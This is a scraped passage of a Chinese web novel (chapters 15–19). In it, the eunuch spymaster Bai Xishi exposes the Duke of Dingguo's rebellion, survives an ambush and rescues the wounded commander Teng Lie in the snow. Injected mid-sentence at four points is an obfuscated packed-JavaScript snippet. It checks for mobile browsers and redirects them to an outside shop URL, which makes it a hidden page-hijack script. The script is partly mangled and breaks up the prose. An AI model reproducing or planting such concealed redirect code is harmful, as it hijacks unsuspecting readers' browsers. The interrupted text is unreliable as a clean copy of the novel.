汪魁和冉回人审问的并不顺利,汪魁一用刑倒是什么都招了,但他知晓内幕不多,供出的也都是些无关紧要的小人物,就连提前知道要被抓捕之事,都是冉回人通风报信。 可冉回人又是如何得知? 白惜时凝眉不语,连此番行动都能了如指掌之人,绝非等闲。 东厂、锦衣卫、禁军……细作,会是谁? 暂时理不出头绪,白惜时便安排亲信分头去查。 而那唯一幸存的冉回人是个硬骨头,加之不通汉语,每每白惜时都是叫上解衍一同去审问,但此人犹如哑巴,所有酷刑过了一遍已然去掉大半条命,仍旧什么都不肯说。 期间,他只用冉回语问了解衍一问题: ——眼下,是哪一日? 一个将死之人,关注时间做什么? 白惜时有所警觉,多次试图逼问,然而那人牙关咬碎,再不肯吐露一个字。 看他奄奄一息,估摸着也熬不过几日。最后白惜时失了耐心,一挥手,索性不再费劲,叫人直接拖下去让他自生自灭。 彼时那人睁着血肉模糊的眼,似乎看懂了白惜时的手势,在被拖出去之前,终是扬起嘴角断断续续说了一句话。 解衍听完,眉峰紧蹙,待那人被拖出视野外立即起身站了起来。 白惜时:“他说了什么?” 解衍:“他说……诸位地狱相见。” 元盛听完,只觉得解衍大惊小怪,“厂督,他这就是在咒咱们。” 不,不是。 表情不对。 白惜时记得他方才的神态,如果是咒骂,多半含着恼怒、愤恨,而那人被拖下去的表情是解脱轻松,还带着一股说不清道不明的恶意。 恶意的胜券在握。 一如在座各位,过不了多久真的会陪他一同下地狱般。 解衍显然也看出了这点,眸色晦暗望向白惜时,“厂督,京城近来了可有大事或异动?” 大事……异动……? 白惜时心中骤然一紧,有。 ——定国公返京! 16. 第 16 章 定国公军功卓越,统帅有方,于边塞多次击溃番邦来袭,先帝泰王病重时,定国公对当今圣上登基并坐稳皇位也曾出过不少力,因而今上格外敬重这位堂叔,登基不久后便授其世袭诰券,加官太师。 然近几年来,定国公似有恃军功而骄横之嫌,屡屡插手朝中官员升迁,以致军事大权悉归其手,大小将帅半出其门,圣上开始忌惮。 此次定国公反京,此刻应该已经行至大半程,白惜时知道,皇帝是存了释其兵权的意思。顺,则尊荣厚赏回家养老,不顺,则身首异处。 但此事极为隐秘,连她都只是从皇帝的态度中判断推测,定国公竟感知到了风声? 虽只是猜疑,但兹事体大关乎国运安危,白惜时从东厂出来后便立即进宫,向皇帝禀报了冉回死士的反应。 皇帝听完双眉紧锁,继而点了点头道:“我前日已安排滕烈过去。” 原来皇帝早有防备? 白惜时听到这松了口气,既然安排锦衣卫去盯梢,以滕烈的能力,若定国公所有异动,必会及时传递消息。 眼下东厂与锦衣卫的关系稍有缓和,不再如先前那般剑拔弩张,因而此事皇帝既已经交由锦衣卫负责,白惜时便不想插手,以免有抢功之嫌。 剩下的一段时日,白惜时致力于抓捕汪魁等人交待出来的蛀虫、细作,行事手段算得上强硬,东厂日日在外头抓人,连兵部侍郎翟瑞也因治家不严,失察泄密被连降几级,外派出京。 一时间,人人谈白惜时而色变。 而更奇异的是,除了千闵、元盛外,大家发现白惜时近来身旁还多了一人,那便是曾经矜冷高洁的探花郎。 可如今探花郎一改往日文臣做派,深衣劲服、不苟言笑,但凡出手绝不手软,行事利落凌厉,倒叫原先认识他的人都不敢认。 当然,也不敢再当面辱骂指摘…… 因为东厂是真打人啊! 即便解衍冷面肃容尚未理会,东厂其余人也会持刀上前,直接用武力威胁教他们如何闭嘴。 简单,粗暴! 抓抓人、审审案,白惜时过了几天舒心日子,但不知是近来行事张扬引人嫉妒,还是得罪过多招人记恨,这一日夜里,她竟被堵在巷角,遭到了一群蒙面黑衣人的偷袭刺杀。 这些人选的时间点很巧,恰好当时只有白惜时一人,刺客下手凶狠,招招致命,是存了与白惜时同归于尽的死志。 索性白惜时脚下功夫不错,见人多势众讨不着便宜便亦战亦退,等千闵、元盛等人赶到,这些黑衣人又如一阵疾风般迅速撤离。 千闵带着几人毫不犹豫追了出去,而白惜时则因中了一刀,停留在原地。 是的,她的下腹部方才在被几人合力围攻时,一时不察竟被对方用长剑划了一道口子,索性伤口不深,并没有触及内脏。 也怪她大意,仗着有金丝软甲在身,对上半身疏于防备,却忘记这金丝甲只到腰腹,下腹部出现空档。 元盛看着渗出来的血迹有些紧张,“厂督,可要替您去请御医?” “这点小伤无碍。”白惜时按住腹部,抬腿踏上马车,“送我回府。” 白惜时回府的时候,得知厂督受伤,孟姑姑第一时间赶了过来,将人扶进屋内继而房门一关,所有人都被挡在了外头。 解衍同步赶到,看了眼紧闭的红漆木门,停住脚步,转而询问元盛今日经过。 褪下外袍和金丝软甲,再掀开被染红的中衣,一道一指余长的伤口便暴露出来,孟姑姑细细查看了一番,拿起旁边已经备好的酒瓶。 “还好没有毒,我先用烧刀子将伤口清洗一遍,厂督忍着点。” “嗯。” 火辣刺激的酒水流过腹部,算是古代朴素的消毒方法,白惜时咬着牙关,待伤口处理完毕,额头和后背已起了一层薄汗。 孟姑姑一边包扎一边看着此刻隐忍的白惜时,“要不,还是不做什么东厂厂督了,那么危险,原先在司礼监就比现在太平多了。” 白惜时看着腰腹间那多出的那一圈白布,“这事姑姑和我说了都不算。” 皇帝的旨意,谁又可违抗? 况且东厂比在宫中自由,白惜时并不排斥。 孟姑姑其实也明白此中道理,叹了口气,转而又担心道:“那究竟是谁想要害厂督?” “我心里有数,姑姑不必忧心。” 想要害她的人,无非两种,一种是报复,一种则是看她近来风头正盛,觉出了威胁。前一种短时间内未必能安排的如此精妙得当,因而,第二种的可能性更大。 果然,第二日千闵便查出了结果,这次刺杀出自御马监的手笔。 御马监掌印太监,王焕全。 千闵:“厂督,是否现在就给御马监点颜色看看?不然还当我东厂是吃素的!” 白惜时沉吟片刻,一摇头,“暂且按兵不动,盯紧王焕全,细查!” 在这个节骨眼上出事,不知是不是自己思虑过重,白惜时隐隐觉得与冉回人或是定国公有关,因而,不宜过早行动。 “你可知,锦衣卫那边是否传回消息?”白惜时问千闵。 千闵:“听闻三日前来过一次信,一切正常。” 正常便好。 白惜时因为受伤,被孟姑姑劝在家中休养了几日,不过这几日她过得并不安生,躲过了刺杀,外头弹劾她的折子又开始满天飞,说她飞扬乖张、党同伐异,掌印张茂林像是生怕她不知道,还命小太监誊抄了几份,给白惜时送来了府中。 临走时小太监又替掌印送给她了一本书——《合纵连横论》。 …… 这是让她多拉拢收买人心,别把人得罪光了。 张茂林年事已高,掌印之位人人眼红,秉笔、西厂、御马监均虎视眈眈,白惜时是其中资历最浅的一个,却最得皇帝信任。 如此怎能不招人嫉恨?毕竟拉下他,其他三人就多一份上位的可能。 此次弹劾,估计就是某位联合朝臣,给她来的一次集中打压。 坐在书房中看着弹劾自己的折子,白惜时越看伤口越疼,这些朝臣骂人就骂人,偏生指桑骂槐、含沙射影,有什么话不直说,拐歪磨脚的给她加一通莫须有的罪名,看着便让人来气。 将折子合上随手扔在桌角,白惜时兀自捂住伤口闭了闭眼,待气闷消散了些,复又将折子捡回来,转头吩咐家厮,“叫解衍过来。” 没做过的事她自然不会认,为免皇帝误会,他还得尽快呈上一份释情的折子。 不过白惜时不准备自己写,对付这种酸腐之人,就得让懂行的去对付。 解衍没过多时便到了书房,白惜时一见他,将折子递过去,“替我给圣上写封释情书,你只需记住,行文风格要相似,全文不带一个脏字,但要把他们诬陷抹黑的全都给咱家驳斥回去。” 解衍快速览过全文,又看了眼难得义愤填膺,难得有些气鼓鼓的白惜时,眼角微弯,继而正色道:“厂督息怒,给我半刻钟的时间。” 等等,白惜时眯着眼瞧了半晌,刚才是不是眼花,她怎么觉得探花郎竟隐隐带了些笑意? 不过解衍的后半句话显然更引得她诧异,“你确定只要半刻钟?” “是。” 解衍寻了一处坐下,提笔研墨,只思索了片刻便开始书写起来,笔走龙蛇、行云流水,期间甚至鲜有停顿,没一会,一面纸就已经写满。 白惜时起先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13260755|139635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还不大放心,走过去瞧了两眼,逐字逐句读下来后,她只有一句感慨,果然专业的事还需要专业的人去对付! 看着解衍引经据典替自己一一驳斥,白惜时重新坐会椅凳之上,心里舒服多了。 心里一舒服,伤口便也不觉得痛,白惜时支着下巴等解衍写完,等着等着便走了神。 因男子低着头,这样她便只能看见他的上半张脸,如此,便更像那个人了。 说来,她还没见过魏廷川读书写字的样子,不知道是不是也是这副专注文雅的模样? 不过白惜时与魏廷川的头两次碰面可算不上文雅。 那时候白惜时在废院顶着小身体,基本干一些需要跑腿的活,没有后台没人撑腰,便经常遭人欺负。 那年冬天老太监张茂林得了风寒,病的不能下床,眼看着就要熬不下去,白惜时内心焦急,便在太医院跪求了三个时辰,有个年轻的太医看她年纪小不落忍,终是趁人不注意她拉到一旁,偷偷塞给了她一些草药,并嘱咐千万不能对外说是谁给她的。 白惜时用力点头,记住了这个好心人的模样,继而将草药揣进怀里就往回跑,只不过运气不好,又遇见几个平日里喜欢欺负她的小太监,几个人一起联合起来向她扔石头。 白惜时因怀里揣着救命的草药,不想横生事端便没有理会,可这一幕,恰巧被出宫路过的世子魏廷川看见。 小太监们看见世子,畏畏缩缩一哄而散。而少年则走过来,拦住白惜时的去路。 “他们打你,为什么不还手?” 白惜时:“还手没有用。” 她当时虽小胳膊小腿,但心理年龄要比魏廷川大,因而不是很想与这种养尊处优的大少爷解释,见了礼就想快点回废院去。 魏廷川却紧跟着问了句,“为什么没有用?” 白惜时回答的很直白,“他们有厉害的主子撑腰,我没有。” 说完她又要走,魏廷川停了一会,从后面叫住白惜时。 “你可以还手……若是再有下次,我给你撑腰。” 白惜时当然没有把他这种随口一说的话放在心上,这个年纪的少年大多热血,可谁又会真正管他一个小太监的死活? 但两个多月后,白惜时在又一次被人欺负的时候,碰到了魏廷川。 人都是有气性的,白惜时已被这群小太监欺负的够够的,越忍让他们越发肆无忌惮,此刻又正好有魏廷川想要为他出头,因而她没等世子上前,一个箭步就冲过去,与那些人扭打在一起。 欺凌自己的人,还是自己揍起来才最痛快。 那些小太监虽然体格比白惜时强壮,但显然心智没她成熟,白惜时自知拼不过体力,便掐、咬、拧三招混用,给那些小子折腾的吱哇乱叫。 最后还是魏廷川看不过眼,跑过去拉架,将恋战的白惜时从几人中拔了出来。 那几个小太监没想到白惜时一发起狠来打架跟不要命似的,加之还有世子帮忙,见形势不对一溜烟就跑了。 魏廷川像开了眼界,将白惜时提溜到一边,“你这小内监看起来白白净净的,下手可真黑。” 白惜时一抹鼻血,本想告诉他“会咬人的狗不叫”,转念一想这样连自己都骂进去了,遂改为伸出三根手指,跟魏廷川比划,“我一个至少能打三个!” “行了行了,把你能耐坏了。” 魏廷川当时的神态又凝滞又无语,看了会白惜时,继而拿了块雪白的巾帕塞进她手中,“拿着,先把鼻血止住。” 自那以后,白惜时便与魏廷川相识,并且越来越熟稔,而魏廷川也真的如他所说,一直明里暗里护着白惜时,还教她习武,为十一岁前的白惜时挡去了很多不必要的麻烦。 17. 第 17 章 白惜时望着解衍沉浸在回忆里,想到自己第一次发狠打架,叫魏廷川那两条好看的眉毛拧在一起好久,期间还洒了几滴鼻血在他的衣袍上,不由低笑出了声。 这一笑,便回了神,白惜时才发现解衍此刻已经停了笔,正面色古怪地回望着自己。 试问两个男人,一个盯着另一个目不转睛地瞧,还支着下巴,还瞧着瞧着就抿唇笑了起来…… 确实怎么看怎么不对劲。 加之白惜时因为受伤,只着一件舒适的家居常服,长发用一根木簪随意束起,就……在这烛影摇曳的书房里,平添了几分柔和昳丽。 解衍率先移开了目光。 白惜时紧跟着咳嗽一声,难得觉出了几分尴尬,站起身来朝解衍面前望过去,“已经写好了?” “嗯。” “我看看。” 走过去拿起桌上的纸张,白惜时从头到尾浏览了一遍,读完颇觉解气,又深深看了解衍一眼,“难怪你是探花郎,实至名归。” 解衍:“厂督好像在骂我。” “不是骂你,我是觉得你这才华用来帮我对付那些老学究可惜了……” 说到一半白惜时又停住,看了解衍一眼,“你竟会和咱家说笑?” 要知道解衍以往都很沉闷,基本上白惜时问一句他答一句,从不多言,而此刻竟显出两分放松之态。 白惜时想了想又觉合理,估计之前是解家倒台打击太大,一时缓不过来,现下开始慢慢恢复。 不由一点头,“这样才像十九,之前咱家一直以为你四十九。” 因着这一句“四十九”,解衍又牵动了下唇角,一副意外失笑的神情。 “想笑就笑。”白惜时回到椅凳前坐下,拿起毛笔,将解衍方才所写重新誊抄了一份在奏折上,“世道艰险,这些小事便随心吧。” 解衍离开书房的时候,白惜时正将那份折子摊开来晾干,回头望了眼仍烛火明亮的书房,解衍不知为什么,竟觉得如今在白府比原先在解家还要自在些。 或许因为在这里,他不再需要为了家族荣耀和所有人的期待而活,真正做他自己。 白惜时……为人也并不苛刻,除了公务以外,其实算得上好相处。 只不过解衍早就发现,白惜时偶尔会盯着自己发呆走神,尤其是方才,她还盯着自己笑,笑得又是那样…… 解衍一时不知如何形容,总之,与平日里的反差好大。 其实类似的眼神解衍原先也见过,若白惜时是个女子,他甚至有可能会多想。 但,厂督…… 诡使神差的,解衍又想到白惜时救下公主那日长发披散的模样,行走的脚步一滞,复又抬步,男子加快步伐离开了白惜时的院落。 — 白惜时于家中休养了三日,见伤口没再渗血,便又忙碌起来。 宫中近来正在筹备宴会,给不日即将还京的定国公还有部分将士接风洗尘,只不过,这一场皇帝亲自出席的筵席在白惜时看来可不是那么轻松,应该算得上是——鸿门宴。 与千闵、元盛一齐走出皇城,白惜时在心中估算了下时日,“定国公该有六、七日便可进京。” “是。”千闵答道,又迟疑了下,“……不过有点怪。” 白惜时回头看他。 千闵:“蒋寅原先私下跟我炫耀过,说但凡他们指挥使去的重要任务,每隔三日便会传一遍消息回京,可近来应该……没有消息,听闻锦衣卫又派人过去了。” 白惜时:“没有人向圣上禀报?” “就差了几日,且这又不是约定俗成之事,也许是什么事耽误了两天?我猜他们应该是想再确认下,免得贸然禀报闹出乌龙。” 白惜时凝眉在原地站了一会,“他们又派了多少人过去?” 千闵:“这个属下不知,但……应该不多。” 回头望了一眼皇宫的方向,白惜时很快做下决断,“我们也去一趟,准备好立刻出发。我去与圣上禀报一声,你们就在皇城门口等我。” “啊?” 千闵和元盛俱是一愣,“可厂督您的伤……” “不碍事。” 白惜时说完就调转步伐往宫内行去,她近来总隐隐有一种不安之感,那冉回人被拖下去时的阴笑常常浮现于脑海。 而滕烈绝对不是惫懒之人,为什么会没有消息? 千闵、元盛可能觉得她过于谨慎,何必插手锦衣卫的事务?但白惜时知道,此次宁可白跑一趟,也绝不能出一点纰漏。 这关乎整个大魏的安危。 欲释定国公兵权之事为绝密,千闵、元盛乃至留守的锦衣卫均不知情,自然也不晓得其中利害。 若是定国公果真提前感知皇帝意图,起兵谋反,待他冲破城门的那一刻,大魏的天可能就要变了。 即便最后守得住,又不知要牺牲掉多少性命。 白惜时于长长的宫道中疾行,最后甚至跑了起来,待他禀完此事,皇帝果然面色凝重,大手一挥,命白惜时速去。 继而皇帝又急召兵部及京卫大营的几位重要将领入宫,应是提前谋划布防之事。 策马疾驰出城,白惜时轻装简行,只带着千闵、元盛几个属下以最快的速度往西南方向行去,日夜兼程了几日之后,在行至朝雾山时,隐隐发现地上有血迹,而顺着那血迹再往前,便是凌乱繁杂的脚步,以及散落在地的箭矢、兵器。 不好的预感越来越强烈,待几人于一棵枯树下见到一个锦衣卫的尸体,白惜时心下一沉,立即转头吩咐千闵。 “带着剩下的几个人速速返程,千闵回京进宫,其余的,定国公路过的关卡一处留一人,若是见到定国公时没有咱家同行,通知关卡守备绝对不予以放行……必要时,按逆党处置。” 说罢从怀中掏出一块御赐令牌交给千闵,加之“逆党”二字一出口,众人均知事态严重。 千闵看着令牌蹙眉,“厂督不与我们一同回去?” “我和元盛留下。” “厂督……” 千闵还想再说什么,白惜时打断,“此事不容耽搁!” 听罢,千闵低头接过令牌,未再多问多言,与其余几人翻身上马便疾速回奔。 待到山林间只剩自己与元盛二人,白惜时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13276505|139635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仔细观察了一遍周遭地形,沿着血迹放轻脚步,“再到上头去看看。” 元盛:“是。” 白惜时选择留下,亦是通过深思熟虑,虽种种迹象表明不大对劲,但尚未完全确认定国公谋反之事,他不能以此便武断定下罪名。 可若是等到真正确认,恐怕他们几人也早就被定国公发现,难有机会再返程报信。 因而让千闵一行先回去,提醒城池关卡有所准备,自己再与元盛继续查探,算是比较稳妥的做法。 山路不好骑行,白惜时与元盛干脆将马拴在一块隐蔽之处,徒步而上,待走到半山腰,隐约听见前头有追赶之声,二人对视一眼,迅速跃起,先后登至了两棵大树之上。 眼下情况未明,还是不要暴露为妙。 待到脚步声靠近,只见一个浑身是血的男子踉跄奔于林间,后头四、五个官兵穷追不舍,叫嚣声不断,正在一点点拉近与前头男子的距离。 可即便那人血迹沾满衣袍,白惜时还是一眼就认出了他身上的飞鱼服。 被追杀的,是锦衣卫。 且那人受伤颇重,看起来已似强弩之末,眼见就快被追上,后头追兵提起长剑便要飞身向前,而恰在此时,白惜时也看清了正在奔逃之人的脸 ——蒋寅! 对准目标,腕上的臂弩破空而出,追杀之人的利刃尚未刺入蒋寅的后背,倏然定在了半空中,继而那人低头看了眼左胸凭空多出的一个血洞,大睁着双眼,应声倒下。 其余几人,也被藏于树端的白惜时、元盛迅速解决。 此刻蒋寅仍在拼命奔于林间,对身后之事根本无暇顾及,待看到后头二人倏然追来拦住去路,他的第一反应便是拔刀相向。 “蒋寅。”元盛开口叫他。 听见略微熟悉的嗓音,男子这才定睛看向二人的脸,惊愕地发现竟是东厂之人。 “厂督!”他高呼一声。 白惜时:“怎么回事?” “定国公反,定国公反!” 蒋寅惊魂未定,眼下只顾重复这四个字,生怕没有机会再将这消息送出去。 他是滕烈带领所有兄弟拼死将他护送出来的,为的就是让将定国公谋反的消息能够传回京师。 本来之前一路都很太平顺利,未有异动。直到几日前的夜里,一群山匪突然冒了出来洗劫附近山村。滕烈、蒋寅他们见到动乱,为救无辜百姓便与官兵合力围剿山匪,不料待到了村中,那些山匪却与官兵们一道,反将锦衣卫团团围住。 原来他们早有合谋,竟利用无辜百姓设下圈套。 继而,两方联合对锦衣卫和村民开启了疯狂屠杀。 但此事说来话长,眼下并不是道明前因后果的时候,白惜时、元盛显然也明白这一点,没有追问,托起他的胳膊就要带蒋寅快速离开。 白惜时:“走,回京。” 然而蒋寅一听要走,突然急急止住向前的步伐。 “指挥使,指挥使还在里面!” 蒋寅像是看到希望,死命攥住白惜时的衣袍,攥到指节和青筋都爆凸了出来,“厂督,指挥使可能还活着!” 18. 第 18 章 蒋寅的意思是想让他们去救滕烈。 可白惜时与元盛只有两个人,如何与一整队训练有素的兵士对抗? “你为何判断他还活着?”白惜时换了一个问题。 “他有金丝甲。” 蒋寅继续紧抓着白惜时,语速极快,像是说慢了一点,就怕白惜时会拒绝。 “定国公急于奔袭,定没功夫长时间停留,厂督可不可以,可不可以……” 剩下的话蒋寅没有说出口,但白惜时已经明白了他的意思,滕烈也有金丝甲护身,或许存着一线生机,而定国公那边怕皇帝察觉其谋反之事,必定日夜兼程准备突袭,不会在追杀一群锦衣卫上耽搁太久的时间。 只要这些人没有回京报信的能力,他们便不会去挨个确认人是不是死透了。 白惜时想到这顿了片刻,继而拨下蒋寅的手,就在对方面露绝望之际,她将蒋寅往对面推了过去,“元盛,带蒋寅回程。” “厂督!” 元盛猜到白惜时意图,很不赞同,“你的身上也有伤!” 若是万一遇到定国公的人,那必是九死一生。 白惜时:“知道,我自会当心,必不贸然涉险。” 之所以同意回去救滕烈,白惜时有她的考量,她自忖不是个坏人,但也算不上一个致自己生命于不顾的大善人。 她和滕烈的交情,远没有到那个份上。 但看着此刻的蒋寅,她突然想起掌印前几日送给她的那本书,那本暗示她拉拢团结朝臣的《合纵连横论》。 东厂现在确实势单力薄了些。 而锦衣卫,是她很需要的一部分力量,况且滕烈此人心术算得上端正,只是为人过于冷傲,她一直未寻到拉拢之法。 那么假设真如蒋寅所说,滕烈眼下尚存一线生机,她若将人救回,不说锦衣卫日后必定对她多好,但至少不会再成为掣肘,协作起来也会更加配合。 思及此,白惜时送走了元盛和蒋寅,又将臂弩中换上新的短箭,在山林中观望了一圈,继续寻了一棵山崖边视野更加开阔的大树,隐了上去。 是的,她没准备现在就去寻人,眼下定国公的人应该还没走远,为避免运气差撞上,她准备再等一等。 等到黄昏。 白惜时所选的大树恰巧能望见蜿蜒曲折的山路,她在上头吃了点干粮又喝了些水,便看见官兵打扮的几队人马开始往下走去。 他们开始撤离了。 期间她还看见有人时不时在山林间搜寻,应该是在找突出重围的蒋寅,但越是找不到他们就越心急,也越不敢逗留,怕反叛的消息会在大部队之前传回京师。 这时候抬头看了一眼回程的方向,白惜时估算了一下时间,千闵和元盛等人,应该已相继将信报送出。 直从中午等到太阳快要落山,白惜时见山路上的人影已经消失,才跳下树去,按照蒋寅所说的方位,开始寻人。 眼下早就入冬,寒风穿过林间,竟带了些许湿意,白惜时一抬头,原来是下雪了。 看来今夜若是找不到滕烈,即便他还有命,估计冻也要冻死了。 白惜时下意识加快了步伐。 过了一个时辰之后,她找到了那处山脚下的小村落,刚一靠近,浓厚的血腥味就扑鼻而来,白惜时走进去,尸横遍野……比锦衣卫多的,是无辜百姓。 但这里,她没有找到滕烈。 白惜时又沿着出村的路,一路搜寻,这时候天已经完全黑了,找起人来更加麻烦,不知道走了多久,她的脚下突然被一柄铁制的兵器绊了下,捡起来凑近一看。 绣春刀。 白惜时开始在周围细细搜寻,借着月光,她在一处斜坡下看见了几个锦衣卫的尸首,一个叠着一个,当她费劲力气将人一个个翻过来,又掏出火折子靠近 ——她发现了那个她要找的人,滕烈。 男子被两人压在身下,面目青白、浑身是伤,白惜时伸出两根手指往他鼻下探过去——竟真的还能感受到微弱的气息。 他还活着! 只不过可能是力竭,亦可能是受伤太重晕了过去,男子此时已经失去了知觉。 白惜时又去探了探旁边几个锦衣卫,滕烈是唯一一个气息尚存之人。 “这金丝甲还真管用。” 白惜时下意识裹了裹自己身下的甲衣,又从随身的瓶子的倒出颗吊命的药丸,塞进男子嘴中随他自行含化,继而开始想办法将人运下山。 她折返回村庄,找来一块废旧的木板和麻绳,费力将滕烈挪到木板上,用绳子一步一步将他拉回了村庄。 一来一回又用了好几个时辰,眼下太晚了,天黑并不好赶路。期间她还看见山林间闪耀着零星火光,应该是留下了部分山匪,继续在搜山寻找蒋寅。 索性就在这村庄凑合上一夜,不然风大雪大,滕烈挨不过去。 栖身一处民宅,不敢生火,便加了好几床棉被在滕烈的身上,又寻了几块布帕将男子身上几处严重的伤口简单处理好,白惜时这才发现自己腰腹间也湿了一片。 定是方才拉人太过用力,原本已经快要长好的伤口又炸裂开来。白惜时轻轻叹了口气,撩开衣衫下摆,也给自己的小腹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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此时天边已泛起鱼肚白,借着晨曦的微光,滕烈盯着白惜时看了一会,继而微微扭过头,闭上了眼。 白惜时:“……” 什么意思?连一个“嗯”都没有。 她救了他的命,他难道还想赖账? 全身上下嘴最硬说的应该就是这种人,一身反骨! 滕烈不理会她,白惜时自然也懒得理会滕烈,两人又不是多好的交情,死不掉就行了。 转身离开在农户家搜寻起吃的东西,接下来还有许多路要走,总要填饱肚子才行。 白惜时正专心在锅灶前寻找能填饱肚子的东西,只是她不知道,在她背过身去的时候,男子又重新睁开眼睛,默默地盯着她,直到她转过身,捧着两个硬邦邦的馒头再次向床边走过来,男子才移开了视线。 19. 第 19 章 滕烈时而清醒,时而沉睡,白惜时就靠着那一张破木板,拉着他在山路上艰难前行。 连续下了两日的雪,地上都被覆盖上一层厚厚的“白毯”,白惜时苦中作乐,觉得自己就像是拉着圣诞老人的麋鹿,只不过回头看了一眼,发觉这“圣诞老人”实在算不上和蔼慈祥。 即便双眼紧闭,滕烈也是一副肃然锁眉的模样。 有些人可能天生就不会笑。 白惜时收回视线,转而看向望不到尽头的前路,已经是第三日了。 她想,还是应该乐观一些,元盛也许不久就会找到人来接应他们。 白惜时感觉伤口好像又裂开了,眼下天气太冷,手脚都要冻僵,她不知道滕烈还能坚持多久,自己又能坚持多久。 滕烈此刻身上虽然盖着一层棉被,但睡久了还是有醒不过来的危险,所以白惜时每隔半个时辰就会将他叫醒一次,给他喂点冷水泡馒头。 待到滕烈吞咽完,二人磕磕绊绊来到一处下山的山坡,白惜时目测了一下高度,蹙起眉心。 坡度有些陡,如果她就这样拖着滕烈下去,必定要连摔几个跟头。 如何是好呢? 滕烈此时尚算清醒,看了眼面露迟疑的白惜时,似乎是理解错了她的意思,跟着侧头望向山坡。 天寒地冻,白雪皑皑,前路崎岖渺茫,后头又留下一连串的雪印踪迹,虽然很快又被新下的雪覆盖,但也很可能会被留下的山匪寻迹追踪而来…… 确实,没有必要拖着一个人跟他一起受罪涉险。 “……算了。” 思及此,滕烈重新望向白惜时,眼睫上因为气温低,结了一层细碎的冰珠。 被他突如其来的声音打乱思路,白惜时:“什么算了?” 滕烈没有再言语,但脸上那副看淡一切的表情已然显露了他的心思,他是想让白惜时一个人走,别再管他。 白惜时看穿了他的意思,一摆手,“你放心,若是到了你我二人只能活一个的时候,我不会学什么舍己为人,必然先保自己性命。” 说着白惜时卸下背在肩膀的麻绳,活动了活动双臂,继而绕到滕烈的木板边,若有所思地盯着他瞧。 滕烈没有动,手指下意识动了动,等着她接下来的话。 “但眼下还没到那个时候。” 白惜时又扭过头去看了眼山坡,问滕烈,“滑过雪吗?” “……没。” 有些遗憾地叹了口气,很快又重振旗鼓,白惜时:“我也没滑过……要不这回,指挥使和咱家一起试试?” 这么长的一道陡坡,白惜时自忖实在没有力气再将滕烈一点一点挪下去了,估摸着最多到半路就得摔。 与其费力不讨好地滚下去,不如试试轻松些的法子。 说罢就去旁边折了两根较为粗壮的树枝,白惜时在手上比划了比划,继而将滕烈扶起来,让他趴伏于自己的后背,而后自己也曲膝坐在了那块木板之上,做好两个人要一起滑下去的准备。 但其实白惜时也没什么把握,握着两根粗树枝回头叮嘱:“你在后头趴好了,若是发现不对劲就提前松手。” “好。” 一声低沉的答复从后头传来,没有质疑,也没有多言,这倒是出乎白惜时的意料。 滕烈对自己,还挺信任? 虽然其实她眼下自己都不大信任自己。 又兀自在心中规划了一遍路线,白惜时将根树枝往后一撑,然后……两个人就这么滑了下去。 但很不幸,起先白惜时还能控制,到了后面速度越来越快,木板便有些脱离掌控,承载着二人就这么横冲直撞下滑,最后不可避免的,白惜时和滕烈一头栽进了雪里。 不过总算是……下来了。 龇牙咧嘴从雪堆里爬起,伤口处又传来一阵拉扯般的疼痛,白惜时兀自缓了一下,不过此刻也顾不上那么多,待稍稍平复,她便开始寻找滕烈。 很快,就在几步之遥,白惜时发现滕烈正整个身子朝下倒在一片皑皑白雪之中,全然没有动静。 他本身就重伤在身,千万别给摔死了。 想到这,白惜时有些后怕,小跑着过去,蹲下身费力将人扒拉了出来。 还好还好,还活着,人都没晕,眼珠子还会动。 滕烈似乎一路已经给白惜时磨的没了脾气,平日里那么冷肃的一个人,眼下也只无声望着白惜时,眼睛里有无可奈何,有欲言又止,最后混杂在一起,什么都没说,任由白惜时的两只手将雪花和残枝败叶从他头上拍落。 两个人收拾收拾,继续赶路,一个在前头拉,一个躺于木板之上,时间一点一点过去,起先白惜时还能与滕烈聊聊天,担忧他睡死过去,可逐渐的,她的步伐越来越缓慢,到了后来,为节省体力,连话也越发少了。 太阳快要落山之际,滕烈在又一次昏睡中醒来,浑身已然冻僵,连整张脸都发麻发木,然而当目光触及雪地里那一串突兀的红,循着那痕迹一滴一滴向前望去,瞳孔陡然一缩,像是被刺中了一般。 “白惜时!”他用自己最大的气力去唤前头之人。 “嗯?”那人在漫天风雪中回头,苍白着一张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13300191|139635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有血色的脸,望了过来。 “你在流血。”他受伤了,什么时候? 